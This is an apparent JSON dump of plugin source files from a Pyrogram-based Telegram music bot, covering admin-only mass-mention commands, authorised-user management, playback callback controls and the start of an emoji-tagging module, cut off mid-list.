    "content": "import asyncio\nimport random\nfrom pyrogram import Client, filters\nfrom pyrogram.enums import ChatType, ChatMemberStatus\nfrom pyrogram.errors import UserNotParticipant\nfrom pyrogram.types import ChatPermissions\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.utils.branded_ban import admin_filter\n\n\nSPAM_CHATS = []\n\n\n@app.on_message(\n    filters.command([\"all\", \"mention\", \"mentionall\"], prefixes=[\"/\", \"@\", \".\", \"#\"])\n    & admin_filter\n)\nasync def tag_all_users(_, message):\n\n    replied = message.reply_to_message\n    if len(message.command) < 2 and not replied:\n        await message.reply_text(\n            \"** ɢɪᴠᴇ sᴏᴍᴇ ᴛᴇxᴛ ᴛᴏ ᴛᴀɢ ᴀʟʟ, ʟɪᴋᴇ »** `@all Hi Friends`\"\n        )\n        return\n    if replied:\n        SPAM_CHATS.append(message.chat.id)\n        usernum = 0\n        usertxt = \"\"\n        async for m in app.get_chat_members(message.chat.id):\n            if message.chat.id not in SPAM_CHATS:\n                break\n            usernum += 1\n            usertxt += f\"\\n⊚ [{m.user.first_name}](tg://user?id={m.user.id})\\n\"\n            if usernum == 5:\n                await replied.reply_text(usertxt)\n                await asyncio.sleep(2)\n                usernum = 0\n                usertxt = \"\"\n        try:\n            SPAM_CHATS.remove(message.chat.id)\n        except Exception:\n            pass\n    else:\n        text = message.text.split(None, 1)[1]\n\n        SPAM_CHATS.append(message.chat.id)\n        usernum = 0\n        usertxt = \"\"\n        async for m in app.get_chat_members(message.chat.id):\n            if message.chat.id not in SPAM_CHATS:\n                break\n            usernum += 1\n            usertxt += f\"\\n⊚ [{m.user.first_name}](tg://user?id={m.user.id})\\n\"\n            if usernum == 5:\n                await app.send_message(\n                    message.chat.id,\n                    f\"{text}\\n{usertxt}\\n\\n|| ➥ ᴏғғ ᴛᴀɢɢɪɴɢ ʙʏ » /cancel ||\",\n                )\n                await asyncio.sleep(2)\n                usernum = 0\n                usertxt = \"\"\n        try:\n            SPAM_CHATS.remove(message.chat.id)\n        except Exception:\n            pass\n\n\n@app.on_message(\n    filters.command(\n        [\n            \"stopmention\",\n            \"offall\",\n            \"cancel\",\n            \"allstop\",\n            \"stopall\",\n            \"cancelmention\",\n            \"offmention\",\n            \"mentionoff\",\n            \"alloff\",\n            \"cancelall\",\n            \"allcancel\",\n        ],\n        prefixes=[\"/\", \"@\", \"#\"],\n    )\n    & admin_filter\n)\nasync def cancelcmd(_, message):\n    chat_id = message.chat.id\n    if chat_id in SPAM_CHATS:\n        try:\n            SPAM_CHATS.remove(chat_id)\n        except Exception:\n            pass\n        return await message.reply_text(\"**ᴛᴀɢɢɪɴɢ ᴘʀᴏᴄᴇss sᴜᴄᴄᴇssғᴜʟʟʏ sᴛᴏᴘᴘᴇᴅ!**\")\n\n    else:\n        await message.reply_text(\"**ɴᴏ ᴘʀᴏᴄᴇss ᴏɴɢᴏɪɴɢ!**\")\n        return\n"
  },
  {
    "path": "BrandrdXMusic/plugins/admins/assistant_tag.py",
    "content": "import asyncio\n\nfrom pyrogram import filters\nfrom pyrogram.enums import ChatMembersFilter\nfrom pyrogram.errors import FloodWait\n\nfrom BrandrdXMusic.utils.database import get_assistant\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.utils.branded_ban import admin_filter\n\nSPAM_CHATS = []\n\n@app.on_message(\n    filters.command(\n        [\"atag\", \"aall\", \"amention\", \"amentionall\"], prefixes=[\"/\", \"@\", \".\", \"#\"]\n    )\n    & admin_filter\n)\nasync def atag_all_useres(_, message):\n    userbot = await get_assistant(message.chat.id)\n    if message.chat.id in SPAM_CHATS:\n        return await message.reply_text(\n            \"ᴛᴀɢɢɪɴɢ ᴘʀᴏᴄᴇss ɪs ᴀʟʀᴇᴀᴅʏ ʀᴜɴɴɪɴɢ ɪғ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ sᴛᴏᴘ sᴏ ᴜsᴇ /acancel\"\n        )\n    replied = message.reply_to_message\n    if len(message.command) < 2 and not replied:\n        await message.reply_text(\n            \"** ɢɪᴠᴇ sᴏᴍᴇ ᴛᴇxᴛ ᴛᴏ ᴛᴀɢ ᴀʟʟ, ʟɪᴋᴇ »** `@aall Hi Friends`\"\n        )\n        return\n    if replied:\n        SPAM_CHATS.append(message.chat.id)\n        usernum = 0\n        usertxt = \"\"\n        async for m in app.get_chat_members(message.chat.id):\n            if message.chat.id not in SPAM_CHATS:\n                break\n            usernum += 1\n            usertxt += f\"[{m.user.first_name}](tg://openmessage?user_id={m.user.id})\"\n            if usernum == 14:\n                await userbot.send_message(\n                    message.chat.id,\n                    f\"{replied.text}\\n\\n{usertxt}\",\n                    disable_web_page_preview=True,\n                )\n                await asyncio.sleep(2)\n                usernum = 0\n                usertxt = \"\"\n        try:\n            SPAM_CHATS.remove(message.chat.id)\n        except Exception:\n            pass\n    else:\n        text = message.text.split(None, 1)[1]\n\n        SPAM_CHATS.append(message.chat.id)\n        usernum = 0\n        usertxt = \"\"\n        async for m in app.get_chat_members(message.chat.id):\n            if message.chat.id not in SPAM_CHATS:\n                break\n            usernum += 1\n            usertxt += f'<a href=\"tg://openmessage?user_id={m.user.id}\">{m.user.first_name}</a>'\n\n            if usernum == 14:\n                await userbot.send_message(\n                    message.chat.id, f\"{text}\\n{usertxt}\", disable_web_page_preview=True\n                )\n                await asyncio.sleep(2)\n                usernum = 0\n                usertxt = \"\"\n        try:\n            SPAM_CHATS.remove(message.chat.id)\n        except Exception:\n            pass\n\n\n\nasync def cancelcmd(_, message):\n    chat_id = message.chat.id\n    if chat_id in SPAM_CHATS:\n        try:\n            SPAM_CHATS.remove(chat_id)\n        except Exception:\n            pass\n        return await message.reply_text(\"**ᴛᴀɢɢɪɴɢ ᴘʀᴏᴄᴇss sᴜᴄᴄᴇssғᴜʟʟʏ sᴛᴏᴘᴘᴇᴅ!**\")\n\n    else:\n        await message.reply_text(\"**ɴᴏ ᴘʀᴏᴄᴇss ᴏɴɢᴏɪɴɢ!**\")\n        return\n"
  },
  {
    "path": "BrandrdXMusic/plugins/admins/auth.py",
    "content": "from pyrogram import filters\nfrom pyrogram.types import Message\n\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.utils import extract_user, int_to_alpha\nfrom BrandrdXMusic.utils.database import (\n    delete_authuser,\n    get_authuser,\n    get_authuser_names,\n    save_authuser,\n)\nfrom BrandrdXMusic.utils.decorators import AdminActual, language\nfrom BrandrdXMusic.utils.inline import close_markup\nfrom config import BANNED_USERS, adminlist\n\n\n@app.on_message(filters.command(\"auth\") & filters.group & ~BANNED_USERS)\n@AdminActual\nasync def auth(client, message: Message, _):\n    if not message.reply_to_message:\n        if len(message.command) != 2:\n            return await message.reply_text(_[\"general_1\"])\n    user = await extract_user(message)\n    token = await int_to_alpha(user.id)\n    _check = await get_authuser_names(message.chat.id)\n    count = len(_check)\n    if int(count) == 25:\n        return await message.reply_text(_[\"auth_1\"])\n    if token not in _check:\n        assis = {\n            \"auth_user_id\": user.id,\n            \"auth_name\": user.first_name,\n            \"admin_id\": message.from_user.id,\n            \"admin_name\": message.from_user.first_name,\n        }\n        get = adminlist.get(message.chat.id)\n        if get:\n            if user.id not in get:\n                get.append(user.id)\n        await save_authuser(message.chat.id, token, assis)\n        return await message.reply_text(_[\"auth_2\"].format(user.mention))\n    else:\n        return await message.reply_text(_[\"auth_3\"].format(user.mention))\n\n\n@app.on_message(filters.command(\"unauth\") & filters.group & ~BANNED_USERS)\n@AdminActual\nasync def unauthusers(client, message: Message, _):\n    if not message.reply_to_message:\n        if len(message.command) != 2:\n            return await message.reply_text(_[\"general_1\"])\n    user = await extract_user(message)\n    token = await int_to_alpha(user.id)\n    deleted = await delete_authuser(message.chat.id, token)\n    get = adminlist.get(message.chat.id)\n    if get:\n        if user.id in get:\n            get.remove(user.id)\n    if deleted:\n        return await message.reply_text(_[\"auth_4\"].format(user.mention))\n    else:\n        return await message.reply_text(_[\"auth_5\"].format(user.mention))\n\n\n@app.on_message(\n    filters.command([\"authlist\", \"authusers\"]) & filters.group & ~BANNED_USERS\n)\n@language\nasync def authusers(client, message: Message, _):\n    _wtf = await get_authuser_names(message.chat.id)\n    if not _wtf:\n        return await message.reply_text(_[\"setting_4\"])\n    else:\n        j = 0\n        mystic = await message.reply_text(_[\"auth_6\"])\n        text = _[\"auth_7\"].format(message.chat.title)\n        for umm in _wtf:\n            _umm = await get_authuser(message.chat.id, umm)\n            user_id = _umm[\"auth_user_id\"]\n            admin_id = _umm[\"admin_id\"]\n            admin_name = _umm[\"admin_name\"]\n            try:\n                user = (await app.get_users(user_id)).first_name\n                j += 1\n            except:\n                continue\n            text += f\"{j}➤ {user}[<code>{user_id}</code>]\\n\"\n            text += f\"   {_['auth_8']} {admin_name}[<code>{admin_id}</code>]\\n\\n\"\n        await mystic.edit_text(text, reply_markup=close_markup(_))\n"
  },
  {
    "path": "BrandrdXMusic/plugins/admins/callback.py",
    "content": "import asyncio\r\n\r\nfrom pyrogram import filters\r\nfrom pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup\r\n\r\nfrom BrandrdXMusic import YouTube, app\r\nfrom BrandrdXMusic.core.call import Hotty\r\nfrom BrandrdXMusic.misc import SUDOERS, db\r\nfrom BrandrdXMusic.utils.database import (\r\n    get_active_chats,\r\n    get_lang,\r\n    get_upvote_count,\r\n    is_active_chat,\r\n    is_music_playing,\r\n    is_nonadmin_chat,\r\n    music_off,\r\n    music_on,\r\n    set_loop,\r\n)\r\nfrom BrandrdXMusic.utils.decorators.language import languageCB\r\nfrom BrandrdXMusic.utils.formatters import seconds_to_min\r\nfrom BrandrdXMusic.utils.inline import (\r\n    close_markup,\r\n    stream_markup,\r\n    stream_markup_timer,\r\n)\r\nfrom BrandrdXMusic.utils.stream.autoclear import auto_clean\r\nfrom BrandrdXMusic.utils.thumbnails import get_thumb\r\nfrom config import (\r\n    BANNED_USERS,\r\n    SOUNCLOUD_IMG_URL,\r\n    STREAM_IMG_URL,\r\n    TELEGRAM_AUDIO_URL,\r\n    TELEGRAM_VIDEO_URL,\r\n    adminlist,\r\n    confirmer,\r\n    votemode,\r\n)\r\nfrom strings import get_string\r\n\r\nchecker = {}\r\nupvoters = {}\r\n\r\n\r\n@app.on_callback_query(filters.regex(\"ADMIN\") & ~BANNED_USERS)\r\n@languageCB\r\nasync def del_back_playlist(client, CallbackQuery, _):\r\n    callback_data = CallbackQuery.data.strip()\r\n    callback_request = callback_data.split(None, 1)[1]\r\n    command, chat = callback_request.split(\"|\")\r\n    if \"_\" in str(chat):\r\n        bet = chat.split(\"_\")\r\n        chat = bet[0]\r\n        counter = bet[1]\r\n    chat_id = int(chat)\r\n    if not await is_active_chat(chat_id):\r\n        return await CallbackQuery.answer(_[\"general_5\"], show_alert=True)\r\n    mention = CallbackQuery.from_user.mention\r\n    if command == \"UpVote\":\r\n        if chat_id not in votemode:\r\n            votemode[chat_id] = {}\r\n        if chat_id not in upvoters:\r\n            upvoters[chat_id] = {}\r\n\r\n        voters = (upvoters[chat_id]).get(CallbackQuery.message.id)\r\n        if not voters:\r\n            upvoters[chat_id][CallbackQuery.message.id] = []\r\n\r\n        vote = (votemode[chat_id]).get(CallbackQuery.message.id)\r\n        if not vote:\r\n            votemode[chat_id][CallbackQuery.message.id] = 0\r\n\r\n        if CallbackQuery.from_user.id in upvoters[chat_id][CallbackQuery.message.id]:\r\n            (upvoters[chat_id][CallbackQuery.message.id]).remove(\r\n                CallbackQuery.from_user.id\r\n            )\r\n            votemode[chat_id][CallbackQuery.message.id] -= 1\r\n        else:\r\n            (upvoters[chat_id][CallbackQuery.message.id]).append(\r\n                CallbackQuery.from_user.id\r\n            )\r\n            votemode[chat_id][CallbackQuery.message.id] += 1\r\n        upvote = await get_upvote_count(chat_id)\r\n        get_upvotes = int(votemode[chat_id][CallbackQuery.message.id])\r\n        if get_upvotes >= upvote:\r\n            votemode[chat_id][CallbackQuery.message.id] = upvote\r\n            try:\r\n                exists = confirmer[chat_id][CallbackQuery.message.id]\r\n                current = db[chat_id][0]\r\n            except:\r\n                return await CallbackQuery.edit_message_text(f\"ғᴀɪʟᴇᴅ.\")\r\n            try:\r\n                if current[\"vidid\"] != exists[\"vidid\"]:\r\n                    return await CallbackQuery.edit_message.text(_[\"admin_35\"])\r\n                if current[\"file\"] != exists[\"file\"]:\r\n                    return await CallbackQuery.edit_message.text(_[\"admin_35\"])\r\n            except:\r\n                return await CallbackQuery.edit_message_text(_[\"admin_36\"])\r\n            try:\r\n                await CallbackQuery.edit_message_text(_[\"admin_37\"].format(upvote))\r\n            except:\r\n                pass\r\n            command = counter\r\n            mention = \"ᴜᴘᴠᴏᴛᴇs\"\r\n        else:\r\n            if (\r\n                CallbackQuery.from_user.id\r\n                in upvoters[chat_id][CallbackQuery.message.id]\r\n            ):\r\n                await CallbackQuery.answer(_[\"admin_38\"], show_alert=True)\r\n            else:\r\n                await CallbackQuery.answer(_[\"admin_39\"], show_alert=True)\r\n            upl = InlineKeyboardMarkup(\r\n                [\r\n                    [\r\n                        InlineKeyboardButton(\r\n                            text=f\"👍 {get_upvotes}\",\r\n                            callback_data=f\"ADMIN  UpVote|{chat_id}_{counter}\",\r\n                        )\r\n                    ]\r\n                ]\r\n            )\r\n            await CallbackQuery.answer(_[\"admin_40\"], show_alert=True)\r\n            return await CallbackQuery.edit_message_reply_markup(reply_markup=upl)\r\n    else:\r\n        is_non_admin = await is_nonadmin_chat(CallbackQuery.message.chat.id)\r\n        if not is_non_admin:\r\n            if CallbackQuery.from_user.id not in SUDOERS:\r\n                admins = adminlist.get(CallbackQuery.message.chat.id)\r\n                if not admins:\r\n                    return await CallbackQuery.answer(_[\"admin_13\"], show_alert=True)\r\n                else:\r\n                    if CallbackQuery.from_user.id not in admins:\r\n                        return await CallbackQuery.answer(\r\n                            _[\"admin_14\"], show_alert=True\r\n                        )\r\n    if command == \"Pause\":\r\n        if not await is_music_playing(chat_id):\r\n            return await CallbackQuery.answer(_[\"admin_1\"], show_alert=True)\r\n        await CallbackQuery.answer()\r\n        await music_off(chat_id)\r\n        await Hotty.pause_stream(chat_id)\r\n        await CallbackQuery.message.reply_text(\r\n            _[\"admin_2\"].format(mention), reply_markup=close_markup(_)\r\n        )\r\n    elif command == \"Resume\":\r\n        if await is_music_playing(chat_id):\r\n            return await CallbackQuery.answer(_[\"admin_3\"], show_alert=True)\r\n        await CallbackQuery.answer()\r\n        await music_on(chat_id)\r\n        await Hotty.resume_stream(chat_id)\r\n        await CallbackQuery.message.reply_text(\r\n            _[\"admin_4\"].format(mention), reply_markup=close_markup(_)\r\n        )\r\n    elif command == \"Stop\" or command == \"End\":\r\n        await CallbackQuery.answer()\r\n        await Hotty.stop_stream(chat_id)\r\n        await set_loop(chat_id, 0)\r\n        await CallbackQuery.message.reply_text(\r\n            _[\"admin_5\"].format(mention), reply_markup=close_markup(_)\r\n        )\r\n        await CallbackQuery.message.delete()\r\n    elif command == \"Skip\" or command == \"Replay\":\r\n        check = db.get(chat_id)\r\n        if command == \"Skip\":\r\n            txt = f\"➻ sᴛʀᴇᴀᴍ sᴋɪᴩᴩᴇᴅ 🎄\\n│ \\n└ʙʏ : {mention} 🥀\"\r\n            popped = None\r\n            try:\r\n                popped = check.pop(0)\r\n                if popped:\r\n                    await auto_clean(popped)\r\n                if not check:\r\n                    await CallbackQuery.edit_message_text(\r\n                        f\"➻ sᴛʀᴇᴀᴍ sᴋɪᴩᴩᴇᴅ 🎄\\n│ \\n└ʙʏ : {mention} 🥀\"\r\n                    )\r\n                    await CallbackQuery.message.reply_text(\r\n                        text=_[\"admin_6\"].format(\r\n                            mention, CallbackQuery.message.chat.title\r\n                        ),\r\n                        reply_markup=close_markup(_),\r\n                    )\r\n                    try:\r\n                        return await Hotty.stop_stream(chat_id)\r\n                    except:\r\n                        return\r\n            except:\r\n                try:\r\n                    await CallbackQuery.edit_message_text(\r\n                        f\"➻ sᴛʀᴇᴀᴍ sᴋɪᴩᴩᴇᴅ 🎄\\n│ \\n└ʙʏ : {mention} 🥀\"\r\n                    )\r\n                    await CallbackQuery.message.reply_text(\r\n                        text=_[\"admin_6\"].format(\r\n                            mention, CallbackQuery.message.chat.title\r\n                        ),\r\n                        reply_markup=close_markup(_),\r\n                    )\r\n                    return await Hotty.stop_stream(chat_id)\r\n                except:\r\n                    return\r\n        else:\r\n            txt = f\"➻ sᴛʀᴇᴀᴍ ʀᴇ-ᴘʟᴀʏᴇᴅ 🎄\\n│ \\n└ʙʏ : {mention} 🥀\"\r\n        await CallbackQuery.answer()\r\n        queued = check[0][\"file\"]\r\n        title = (check[0][\"title\"]).title()\r\n        user = check[0][\"by\"]\r\n        duration = check[0][\"dur\"]\r\n        streamtype = check[0][\"streamtype\"]\r\n        videoid = check[0][\"vidid\"]\r\n        status = True if str(streamtype) == \"video\" else None\r\n        db[chat_id][0][\"played\"] = 0\r\n        exis = (check[0]).get(\"old_dur\")\r\n        if exis:\r\n            db[chat_id][0][\"dur\"] = exis\r\n            db[chat_id][0][\"seconds\"] = check[0][\"old_second\"]\r\n            db[chat_id][0][\"speed_path\"] = None\r\n            db[chat_id][0][\"speed\"] = 1.0\r\n        if \"live_\" in queued:\r\n            n, link = await YouTube.video(videoid, True)\r\n            if n == 0:\r\n                return await CallbackQuery.message.reply_text(\r\n                    text=_[\"admin_7\"].format(title),\r\n                    reply_markup=close_markup(_),\r\n                )\r\n            try:\r\n                image = await YouTube.thumbnail(videoid, True)\r\n            except:\r\n                image = None\r\n            try:\r\n                await Hotty.skip_stream(chat_id, link, video=status, image=image)\r\n            except:\r\n                return await CallbackQuery.message.reply_text(_[\"call_6\"])\r\n            button = stream_markup2(_, chat_id)\r\n            img = await get_thumb(videoid)\r\n            run = await CallbackQuery.message.reply_photo(\r\n                photo=img,\r\n                caption=_[\"stream_1\"].format(\r\n                    f\"https://t.me/{app.username}?start=info_{videoid}\",\r\n                    title[:23],\r\n                    duration,\r\n                    user,\r\n                ),\r\n                reply_markup=InlineKeyboardMarkup(button),\r\n            )\r\n            db[chat_id][0][\"mystic\"] = run\r\n            db[chat_id][0][\"markup\"] = \"tg\"\r\n            await CallbackQuery.edit_message_text(txt, reply_markup=close_markup(_))\r\n        elif \"vid_\" in queued:\r\n            mystic = await CallbackQuery.message.reply_text(\r\n                _[\"call_7\"], disable_web_page_preview=True\r\n            )\r\n            try:\r\n                file_path, direct = await YouTube.download(\r\n                    videoid,\r\n                    mystic,\r\n                    videoid=True,\r\n                    video=status,\r\n                )\r\n            except:\r\n                return await mystic.edit_text(_[\"call_6\"])\r\n            try:\r\n                image = await YouTube.thumbnail(videoid, True)\r\n            except:\r\n                image = None\r\n            try:\r\n                await Hotty.skip_stream(chat_id, file_path, video=status, image=image)\r\n            except:\r\n                return await mystic.edit_text(_[\"call_6\"])\r\n            button = stream_markup(_, videoid, chat_id)\r\n            img = await get_thumb(videoid)\r\n            run = await CallbackQuery.message.reply_photo(\r\n                photo=img,\r\n                caption=_[\"stream_1\"].format(\r\n                    f\"https://t.me/{app.username}?start=info_{videoid}\",\r\n                    title[:23],\r\n                    duration,\r\n                    user,\r\n                ),\r\n                reply_markup=InlineKeyboardMarkup(button),\r\n            )\r\n            db[chat_id][0][\"mystic\"] = run\r\n            db[chat_id][0][\"markup\"] = \"stream\"\r\n            await CallbackQuery.edit_message_text(txt, reply_markup=close_markup(_))\r\n            await mystic.delete()\r\n        elif \"index_\" in queued:\r\n            try:\r\n                await Hotty.skip_stream(chat_id, videoid, video=status)\r\n            except:\r\n                return await CallbackQuery.message.reply_text(_[\"call_6\"])\r\n            button = stream_markup2(_, chat_id)\r\n            run = await CallbackQuery.message.reply_photo(\r\n                photo=STREAM_IMG_URL,\r\n                caption=_[\"stream_2\"].format(user),\r\n                reply_markup=InlineKeyboardMarkup(button),\r\n            )\r\n            db[chat_id][0][\"mystic\"] = run\r\n            db[chat_id][0][\"markup\"] = \"tg\"\r\n            await CallbackQuery.edit_message_text(txt, reply_markup=close_markup(_))\r\n        else:\r\n            if videoid == \"telegram\":\r\n                image = None\r\n            elif videoid == \"soundcloud\":\r\n                image = None\r\n            else:\r\n                try:\r\n                    image = await YouTube.thumbnail(videoid, True)\r\n                except:\r\n                    image = None\r\n            try:\r\n                await Hotty.skip_stream(chat_id, queued, video=status, image=image)\r\n            except:\r\n                return await CallbackQuery.message.reply_text(_[\"call_6\"])\r\n            if videoid == \"telegram\":\r\n                button = stream_markup2(_, chat_id)\r\n                run = await CallbackQuery.message.reply_photo(\r\n                    photo=TELEGRAM_AUDIO_URL\r\n                    if str(streamtype) == \"audio\"\r\n                    else TELEGRAM_VIDEO_URL,\r\n                    caption=_[\"stream_1\"].format(\r\n                        config.SUPPORT_CHAT, title[:23], duration, user\r\n                    ),\r\n                    reply_markup=InlineKeyboardMarkup(button),\r\n                )\r\n                db[chat_id][0][\"mystic\"] = run\r\n                db[chat_id][0][\"markup\"] = \"tg\"\r\n            elif videoid == \"soundcloud\":\r\n                button = stream_markup2(_, chat_id)\r\n                run = await CallbackQuery.message.reply_photo(\r\n                    photo=SOUNCLOUD_IMG_URL\r\n                    if str(streamtype) == \"audio\"\r\n                    else TELEGRAM_VIDEO_URL,\r\n                    caption=_[\"stream_1\"].format(\r\n                        config.SUPPORT_CHAT, title[:23], duration, user\r\n                    ),\r\n                    reply_markup=InlineKeyboardMarkup(button),\r\n                )\r\n                db[chat_id][0][\"mystic\"] = run\r\n                db[chat_id][0][\"markup\"] = \"tg\"\r\n            else:\r\n                button = stream_markup(_, videoid, chat_id)\r\n                img = await get_thumb(videoid)\r\n                run = await CallbackQuery.message.reply_photo(\r\n                    photo=img,\r\n                    caption=_[\"stream_1\"].format(\r\n                        f\"https://t.me/{app.username}?start=info_{videoid}\",\r\n                        title[:23],\r\n                        duration,\r\n                        user,\r\n                    ),\r\n                    reply_markup=InlineKeyboardMarkup(button),\r\n                )\r\n                db[chat_id][0][\"mystic\"] = run\r\n                db[chat_id][0][\"markup\"] = \"stream\"\r\n            await CallbackQuery.edit_message_text(txt, reply_markup=close_markup(_))\r\n\r\n\r\nasync def markup_timer():\r\n    while not await asyncio.sleep(1):\r\n        active_chats = await get_active_chats()\r\n        for chat_id in active_chats:\r\n            try:\r\n                if not await is_music_playing(chat_id):\r\n                    continue\r\n                playing = db.get(chat_id)\r\n                if not playing:\r\n                    continue\r\n                duration_seconds = int(playing[0][\"seconds\"])\r\n                if duration_seconds == 0:\r\n                    continue\r\n                try:\r\n                    mystic = playing[0][\"markup\"]\r\n                except:\r\n                    continue\r\n                try:\r\n                    check = checker[chat_id][mystic.id]\r\n                    if check is False:\r\n                        continue\r\n                except:\r\n                    pass\r\n                try:\r\n                    language = await get_lang(chat_id)\r\n                    _ = get_string(language)\r\n                except:\r\n                    _ = get_string(\"en\")\r\n                try:\r\n                    mystic = playing[0][\"mystic\"]\r\n                    markup = playing[0][\"markup\"]\r\n                except:\r\n                    continue\r\n                try:\r\n                    check = wrong[chat_id][mystic.id]\r\n                    if check is False:\r\n                        continue\r\n                except:\r\n                    pass\r\n                try:\r\n                    language = await get_lang(chat_id)\r\n                    _ = get_string(language)\r\n                except:\r\n                    _ = get_string(\"en\")\r\n                try:\r\n                    mystic = playing[0][\"mystic\"]\r\n                    markup = playing[0][\"markup\"]\r\n                except:\r\n                    continue\r\n                try:\r\n                    check = wrong[chat_id][mystic.id]\r\n                    if check is False:\r\n                        continue\r\n                except:\r\n                    pass\r\n                try:\r\n                    language = await get_lang(chat_id)\r\n                    _ = get_string(language)\r\n                except:\r\n                    _ = get_string(\"en\")\r\n                try:\r\n                    buttons = (\r\n                        stream_markup_timer(\r\n                            _,\r\n                            playing[0][\"vidid\"],\r\n                            chat_id,\r\n                            seconds_to_min(playing[0][\"played\"]),\r\n                            playing[0][\"dur\"],\r\n                        )\r\n                        if markup == \"stream\"\r\n                        else stream_markup_timer2(\r\n                            _,\r\n                            chat_id,\r\n                            seconds_to_min(playing[0][\"played\"]),\r\n                            playing[0][\"dur\"],\r\n                        )\r\n                    )\r\n                    await mystic.edit_reply_markup(\r\n                        reply_markup=InlineKeyboardMarkup(buttons)\r\n                    )\r\n                except:\r\n                    continue\r\n            except:\r\n                continue\r\n\r\n\r\nasyncio.create_task(markup_timer())\r\n"
  },
  {
    "path": "BrandrdXMusic/plugins/admins/entag.py",
    "content": "from BrandrdXMusic import app \nimport asyncio\nimport random\nfrom pyrogram import Client, filters\nfrom pyrogram.enums import ChatType, ChatMemberStatus\nfrom pyrogram.errors import UserNotParticipant\nfrom pyrogram.types import ChatPermissions\n\nspam_chats = []\n\nEMOJI = [ \"🦋🦋🦋🦋🦋\",\n          \"🧚🌸🧋🍬🫖\",\n          \"🥀🌷🌹🌺💐\",\n          \"🌸🌿💮🌱🌵\",\n          \"❤️💚💙💜🖤\",\n          \"💓💕💞💗💖\",\n          \"🌸💐🌺🌹🦋\",\n          \"🍔🦪🍛🍲🥗\",\n          \"🍎🍓🍒🍑🌶️\",\n          \"🧋🥤🧋🥛🍷\",\n          \"🍬🍭🧁🎂🍡\",\n          \"🍨🧉🍺☕🍻\",\n          \"🥪🥧🍦🍥🍚\",\n          \"🫖☕🍹🍷🥛\",\n          \"☕🧃🍩🍦🍙\",\n          \"🍁🌾💮🍂🌿\",\n          \"🌨️🌥️⛈️🌩️🌧️\",\n          \"🌷🏵️🌸🌺💐\",\n          \"💮🌼🌻🍀🍁\",\n          \"🧟🦸🦹🧙👸\",\n          \"🧅🍠🥕🌽🥦\",\n          \"🐷🐹🐭🐨🐻‍❄️\",\n          \"🦋🐇🐀🐈🐈‍⬛\",\n          \"🌼🌳🌲🌴🌵\",\n          \"🥩🍋🍐🍈🍇\",\n          \"🍴🍽️🔪🍶🥃\",\n          \"🕌🏰🏩⛩️🏩\",\n          \"🎉🎊🎈🎂🎀\",\n          \"🪴🌵🌴🌳🌲\",\n          \"🎄🎋🎍🎑🎎\",\n          \"🦅🦜🕊️🦤🦢\",\n          \"🦤🦩🦚🦃🦆\",\n          \"🐬🦭🦈🐋🐳\",\n          \"🐔🐟🐠🐡🦐\",\n          \"🦩🦀🦑🐙🦪\",\n          \"🐦🦂🕷️🕸️🐚\",\n          \"🥪🍰🥧🍨🍨\",\n          \" 🥬🍉🧁🧇\",\n        ]\n\nTAGMES = [ \" **※ ɪ ʟᴏᴠᴇ ʏᴏᴜ...ᰔᩚ**\",\n           \" **※ ғᴏʀɢᴇᴛ ᴍᴇ..ᰔᩚ\",\n           \" **※ ɪ ᴅᴏɴ'ᴛ ʟᴏᴠᴇ ʏᴏᴜ...ᰔᩚ**\",\n           \" **※ ᴍᴀᴋᴇ ɪᴛ ʏᴏᴜʀs ᴘɪʏᴀ, ᴍᴀᴋᴇ ɪᴛ ʏᴏᴜʀs...ᰔᩚ**\",\n           \" **※ ᴊᴏɪɴ ᴍʏ ɢʀᴏᴜᴘ ᴀʟsᴏ...ᰔᩚ**\",\n           \" **※ ɪ ᴋᴇᴘᴛ ʏᴏᴜʀ ɴᴀᴍᴇ ɪɴ ᴍʏ ʜᴇᴀʀᴛ...ᰔᩚ**\",\n           \" **※ ᴡʜᴇʀᴇ ᴀʀᴇ ᴀʟʟ ʏᴏᴜʀ ғʀɪᴇɴᴅs...ᰔᩚ**\",\n           \" **※ ɪɴ ᴡʜᴏsᴇ ᴍᴇᴍᴏʀʏ ᴀʀᴇ ʏᴏᴜ ʟᴏsᴛ ᴍʏ ʟᴏᴠᴇ...ᰔᩚ**\",\n           \" **※ ᴡʜᴀᴛs ʏᴏᴜʀ ᴘʀᴏғᴇssɪᴏɴ...ᰔᩚ**\",\n           \" **※ ᴡʜᴇʀᴇ ᴅɪᴅ ʏᴏᴜ ʟɪᴠᴇ...ᰔᩚ**\",\n           \" **※ ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ, ʙᴀʙʏ...ᰔᩚ**\",\n           \" **※ ɢᴏᴏᴅ ɴɪɢʜᴛ, ɪᴛ's ᴠᴇʀʏ ʟᴀᴛᴇ...ᰔᩚ**\",\n           \" **※ ɪ ғᴇᴇʟ ᴠᴇʀʏ sᴀᴅ ᴛᴏᴅᴀʏ...ᰔᩚ**\",\n           \" **※ ᴛᴀʟᴋ ᴛᴏ ᴍᴇ ᴛᴏᴏ...ᰔᩚ**\",\n           \" **※ ᴡʜᴀᴛ's ғᴏʀ ᴅɪɴɴᴇʀ ᴛᴏᴅᴀʏ...ᰔᩚ**\",\n           \" **※ ᴡʜᴀᴛ's ɢᴏɪɴɢ ᴏɴ...ᰔᩚ**\",\n           \" **※ ᴡʜʏ ᴅᴏɴ'ᴛ ʏᴏᴜ ᴍᴇssᴀɢᴇ...ᰔᩚ**\",\n           \" **※ ɪ ᴀᴍ ɪɴɴᴏᴄᴇɴᴛ...ᰔᩚ**\",\n           \" **※ ɪᴛ ᴡᴀs ғᴜɴ ʏᴇsᴛᴇʀᴅᴀʏ, ᴡᴀsɴ'ᴛ ɪᴛ...ᰔᩚ**\",\n           \" **※ ᴡʜᴇʀᴇ ᴡᴇʀᴇ ʏᴏᴜ ʙᴜsʏ ʏᴇsᴛᴇʀᴅᴀʏ...ᰔᩚ**\",\n           \" **※ ʏᴏᴜ ʀᴇᴍᴀɪɴ sᴏ ᴄᴀʟᴍ ғʀɪᴇɴᴅ...ᰔᩚ**\",\n           \" **※ ᴅᴏ ʏᴏᴜ ᴋɴᴏᴡ ʜᴏᴡ ᴛᴏ sɪɴɢ, sɪɴɢ...ᰔᩚ**\",\n           \" **※ ᴡɪʟʟ ʏᴏᴜ ᴄᴏᴍᴇ ғᴏʀ ᴀ ᴡᴀʟᴋ ᴡɪᴛʜ ᴍᴇ...ᰔᩚ**\",\n           \" **※ ᴀʟᴡᴀʏs 